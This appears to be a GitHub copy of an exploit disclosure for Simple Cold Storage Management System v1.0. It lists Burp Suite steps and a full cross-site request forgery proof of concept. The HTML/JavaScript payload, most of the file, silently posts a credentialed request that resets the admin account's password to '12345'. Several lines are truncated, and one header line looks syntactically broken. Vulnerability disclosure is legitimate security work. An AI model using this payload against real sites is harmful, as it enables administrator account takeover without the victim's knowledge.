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CSRF- / POC



justSahil Create POC

History

1 contributor

73 lines (68 sloc) | 3.47 KB

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1  # Exploit Title: Simple Cold Storage Management System v1.0 - CSRF ON change password
2  # Exploit Author: SAHIL PRASAD
3  # Vendor Name: oretnom23
4  # Vendor Homepage: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-
5  # Software Link: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-us
6  # Version: v1.0
7  # Tested on: Windows 10, Apache
8
9
10 Description: Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unw
11
12 Vulnerable Parameters:
13 change password
14
15 Steps:
16 1) Login into admin/user account
17 2) Now Go to profile
18 3) Now in Parameter password change the password
19 4) Hit burpsuite and capture the request
20 5) Generate CSRF poc and expoilt that poc in browser
21 6) Now got back to the site and log out and login with new password and you will get redirect to t
22
23 Payload:
24 <html>
25     <!-- CSRF PoC - generated by Burp Suite Professional -->
26     <body>
27         <script>history.pushState('', '', '/')</script>
28
29         <script>
30             function submitRequest()
```

```

30     {
31         var xhr = new XMLHttpRequest();
32         xhr.open("POST", "http://localhost/csms/classes/Users.php?f=save", true);
33         xhr.setRequestHeader("Accept", "*/*");
34         xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
35         xhr.setRequestHeader("Accept-Language", "en-GB,en-US;q=0.9,en;q=0.8");
36         xhr.withCredentials = true;
37         var body = "-----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
38             "Content-Disposition: form-data; name=\"id\"\r\n" +
39             "\r\n" +
40             "1\r\n" +
41             "-----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
42             "Content-Disposition: form-data; name=\"firstname\"\r\n" +
43             "\r\n" +
44             "Administrator\r\n" +
45             "-----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
46             "Content-Disposition: form-data; name=\"lastname\"\r\n" +
47             "\r\n" +
48             "Admin\r\n" +
49             "-----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
50             "Content-Disposition: form-data; name=\"username\"\r\n" +
51             "\r\n" +
52             "admin\r\n" +
53             "-----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
54             "Content-Disposition: form-data; name=\"password\"\r\n" +
55             "\r\n" +
56             "12345\r\n" +
57             "-----WebKitFormBoundaryg5STs5oE1IeCxjQy\r\n" +
58             "Content-Disposition: form-data; name=\"img\"; filename=\"\"\r\n" +
59             "Content-Type: application/octet-stream\r\n" +
60             "\r\n" +
61             "\r\n" +
62             "-----WebKitFormBoundaryg5STs5oE1IeCxjQy--\r\n";
63         var aBody = new Uint8Array(body.length);
64         for (var i = 0; i < aBody.length; i++)
65             aBody[i] = body.charCodeAt(i);
66         xhr.send(new Blob([aBody]));
67     }
68 </script>
69 <form action="#">
70     <input type="button" value="Submit request" onclick="submitRequest();" />
71 </form>
72 </body>
73 </html>

```